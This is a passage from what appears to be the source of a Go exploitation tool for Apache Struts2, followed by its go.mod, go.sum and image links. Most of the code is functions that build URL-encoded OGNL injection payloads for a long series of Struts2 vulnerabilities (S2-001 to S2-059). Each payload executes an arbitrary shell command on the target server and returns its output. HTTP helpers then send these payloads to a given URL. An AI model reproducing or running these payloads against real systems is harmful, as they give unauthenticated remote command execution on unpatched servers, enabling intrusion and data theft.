"?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27"+command+"%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte[16384]%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29" 54 | } 55 | func POC_s007_exec(command string) string{ 56 | return "s007execstart%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27"+command+"%27%29.getInputStream%28%29%29%29+%2B+%27s007execend" 57 | } 58 | func POC_s008_exec(command string) string{ 59 | command = url.QueryEscape(command) 60 | return "?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27"+command+"%27%29.getInputStream%28%29%29%29" 61 | } 62 | func POC_s009_exec(param string,command string) string{ 63 | return "?"+param+"=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27"+command+"%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[20000],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[("+param+")(%27meh%27)]" 64 | } 65 | func POC_s012_exec(command string) string{ 66 | command = parseCommand(command) 67 | 68 | return "%25%7b%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String%5B%5D%7B"+command+"%7D)).redirectErrorStream(true).start()%2c%23b%3d%23a.getInputStream()%2c%23c%3dnew+java.io.InputStreamReader(%23b)%2c%23d%3dnew+java.io.BufferedReader(%23c)%2c%23e%3dnew+char%5b20000%5d%2c%23d.read(%23e)%2c%23f%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2c%23f.getWriter().println(%22s012execstart%22)%2c%23f.getWriter().println(new+java.lang.String(%23e))%2c%23f.getWriter().flush()%2c%23f.getWriter().close()%7d" 69 | } 70 | func POC_s013_exec(command string) string{ 71 | command = url.QueryEscape(command) 72 | return "?test=%24%7b%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27"+command+"%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b20000%5d%2c%23c.read(%23d)%2c%23out%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23out.println(new+java.lang.String(%23d))%2c%23out.close()%7d" 73 | } 74 | func POC_s015_exec(command string) string{ 75 | return "/%24%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23m%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2c%23m.setAccessible(true)%2c%23m.set(%23_memberAccess%2ctrue)%2c%23q%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27"+command+"%27).getInputStream())%2c%27s015execstart%27%2b%23q%2b%27s015execend%27%7d.action" 76 | } 77 | func POC_s016_exec(command string) string{ 78 | command = url.QueryEscape(command) 79 | return "?redirect:$%7b%23req%3d%23co%6etext.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27%29,%23s%3dnew%20java.util.Scanner%28%28new%20java.lang.%50rocessBuilder%28%27"+command+"%27.toString%28%29.split%28%27%5C%5Cs%27%29%29%29.start%28%29.getInputStream%28%29%29.useDelimiter%28%27%5C%5CAAAA%27%29,%23str%3d%23s.hasNext%28%29?%23s.next%28%29:%27%27,%23resp%3d%23co%6etext.get%28%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27%29,%23resp.setCharacterEncoding%28%27UTF-8%27%29,%23resp.getWriter%28%29.println%28%23str%29,%23resp.getWriter%28%29.flush%28%29,%23resp.getWriter%28%29.close%28%29%7d" 80 | } 81 | func POC_s045_exec(command string) string{ 82 | return "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + command + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" 83 | } 84 | func POC_s046_exec(command string) string{ 85 | return "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + command + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b" 86 | } 87 | func POC_s048_exec(command string) string{ 88 | return "%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23q%3d%27s048execstart%27%2b%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27"+command+"%27).getInputStream())%2b%27s048execend%27).(%23q)%7d" 89 | } 90 | func POC_s053_exec(command string) string{ 91 | return "%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3d%27"+command+"%27).(%23iswin%3d(%40java.lang.System%40getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds%3d(%23iswin%3f%7b%27cmd.exe%27%2c%27%2fc%27%2c%23cmd%7d%3a%7b%27%2fbin%2fbash%27%2c%27-c%27%2c%23cmd%7d)).(%23p%3dnew+java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3d%23p.start()).(%27s053execstart%27%2b%40org.apache.commons.io.IOUtils%40toString(%23process.getInputStream())%2b%27s053execend%27)%7d" 92 | } 93 | func POC_s057_exec(command string) string{ 94 | return "/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27"+command+"%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D" 95 | } 96 | 97 | func POC_s059_exec(command string) string { 98 | return "%25%7B%0A%28%23dm%3D%40ognl%2EOgnlContext%40DEFAULT%5FMEMBER%5FACCESS%29%2E%0A%28%23ct%3D%23request%5B%27struts%2EvalueStack%27%5D%2Econtext%29%2E%0A%28%23cr%3D%23ct%5B%27com%2Eopensymphony%2Exwork2%2EActionContext%2Econtainer%27%5D%29%2E%0A%28%23ou%3D%23cr%2EgetInstance%28%40com%2Eopensymphony%2Exwork2%2Eognl%2EOgnlUtil%40class%29%29%2E%0A%28%23ou%2EsetExcludedPackageNames%28%27%27%29%29%2E%28%23ou%2EsetExcludedClasses%28%27%27%29%29%2E%0A%28%23ct%2EsetMemberAccess%28%23dm%29%29%2E%0A%28%23a%3D%40java%2Elang%2ERuntime%40getRuntime%28%29%2Eexec%28%27id%27%29%29%2E%0A%28%27s050execstart%27%2B%40org%2Eapache%2Ecommons%2Eio%2EIOUtils%40toString%28%23a%2EgetInputStream%28%29%29%2B%27s059execend%27%29%0A%7D" 99 | } 100 | 101 | func parseCommand(command string) string { 102 | //此函数功能是处理命令执行时的空格,有些漏洞需要处理 103 | //比如将原始输入:ls -la 处理为:"ls","-la" 104 | finalCmd := "" 105 | tmpCmd := strings.Split(command," ") 106 | //fmt.Println(tmpCmd) 107 | for _, sCmd := range tmpCmd{ 108 | finalCmd += "\""+sCmd+"\""+"," 109 | } 110 | finalCmd = strings.TrimRight(finalCmd, ",") 111 | return finalCmd 112 | } 113 | 114 | func CreateHash(s string) string { 115 | t := time.Now() 116 | h := md5.New() 117 | io.WriteString(h, s) 118 | io.WriteString(h, t.String()) 119 | v := fmt.Sprintf("%x", h.Sum(nil)) 120 | return v 121 | } 122 | 123 | 124 | func IfContainsStr(rspBody string, clearFlag string) bool { 125 | return strings.Contains(rspBody,clearFlag) 126 | } 127 | 128 | func GetBetweenStr(str, start, end string) string { 129 | n := strings.Index(str, start) 130 | if n == -1 { 131 | n = 0 132 | } 133 | str = string([]byte(str)[n:]) 134 | m := strings.Index(str, end) 135 | if m == -1 { 136 | m = len(str) 137 | } 138 | str = string([]byte(str)[:m]) 139 | return str 140 | } 141 | func PostFunc4Struts2(pUrl string, postData string, contentType string,st2Payload string) string { 142 | client := &http.Client{ 143 | Timeout:Timeout, 144 | } 145 | postData = strings.Replace(postData,"fuckit",st2Payload,1) 146 | req, err := http.NewRequest("POST", pUrl,strings.NewReader(postData)) 147 | req.Header.Set("User-Agent", GlobalUserAgent) 148 | if contentType != "" { 149 | req.Header.Set("Content-Type", st2Payload) 150 | }else { 151 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 152 | } 153 | if err != nil { 154 | log.Fatal("Error reading request. ") 155 | } 156 | response, err := client.Do(req) 157 | if err != nil { 158 | log.Fatal("Error reading response. ") 159 | } 160 | defer response.Body.Close() 161 | tmpBody := response.Body 162 | content, _ := ioutil.ReadAll(tmpBody) 163 | respBody := string(content) 164 | return respBody 165 | } 166 | 167 | func GetFunc4Struts2(pUrl string, getParam string, st2Payload string) string { 168 | pUrl += st2Payload 169 | client := &http.Client{ 170 | Timeout:Timeout, 171 | } 172 | req, err := http.NewRequest("GET", pUrl, nil) 173 | req.Header.Set("User-Agent", GlobalUserAgent) 174 | if err != nil { 175 | log.Fatal("Error reading request. ") 176 | } 177 | resp, err := client.Do(req) 178 | if err != nil { 179 | log.Fatal("Error reading response. ") 180 | } 181 | defer resp.Body.Close() 182 | tmpBody := resp.Body 183 | body, err := ioutil.ReadAll(tmpBody) 184 | respBody := string(body) 185 | return respBody 186 | } 187 | func Get302Location(targetUrl string) string { 188 | resp, err := http.Head(targetUrl) 189 | if err != nil {} 190 | defer resp.Body.Close() 191 | return resp.Request.URL.String() 192 | } 193 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module ST2G 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect 7 | github.com/fatih/color v1.9.0 8 | github.com/urfave/cli/v2 v2.1.1 // indirect 9 | golang.org/x/sys v0.0.0-20200113162924-86b910548bc1 // indirect 10 | ) 11 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 2 | github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d h1:U+s90UTSYgptZMwQh2aRr3LuazLJIa+Pg3Kc1ylSYVY= 3 | github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 4 | github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM= 5 | github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 6 | github.com/fatih/color v1.9.0 h1:8xPHl4/q1VyqGIPif1F+1V3Y3lSmrq01EabUW3CoW5s= 7 | github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= 8 | github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA= 9 | github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= 10 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= 11 | github.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM= 12 | github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= 13 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 14 | github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q= 15 | github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 16 | github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo= 17 | github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= 18 | github.com/urfave/cli v1.22.2 h1:gsqYFH8bb9ekPA12kRo0hfjngWQjkJPlN9R0N78BoUo= 19 | github.com/urfave/cli/v2 v2.1.1 h1:Qt8FeAtxE/vfdrLmR3rxR6JRE0RoVmbXu8+6kZtYU4k= 20 | github.com/urfave/cli/v2 v2.1.1/go.mod h1:SE9GqnLQmjVa0iPEY0f1w3ygNIYcIJ0OKPMoW2caLfQ= 21 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 22 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037 h1:YyJpGZS1sBuBCzLAR1VEpK193GlqGZbnPFnPV/5Rsb4= 23 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 24 | golang.org/x/sys v0.0.0-20200113162924-86b910548bc1 h1:gZpLHxUX5BdYLA08Lj4YCJNN/jk7KtquiArPoeX0WvA= 25 | golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 26 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 27 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 28 | -------------------------------------------------------------------------------- /s001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xfiftyone/STS2G/bc655d60107e05550c52027e0ce27fe47b07c703/s001.png -------------------------------------------------------------------------------- /s009.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xfiftyone/STS2G/bc655d60107e05550c52027e0ce27fe47b07c703/s009.png --------------------------------------------------------------------------------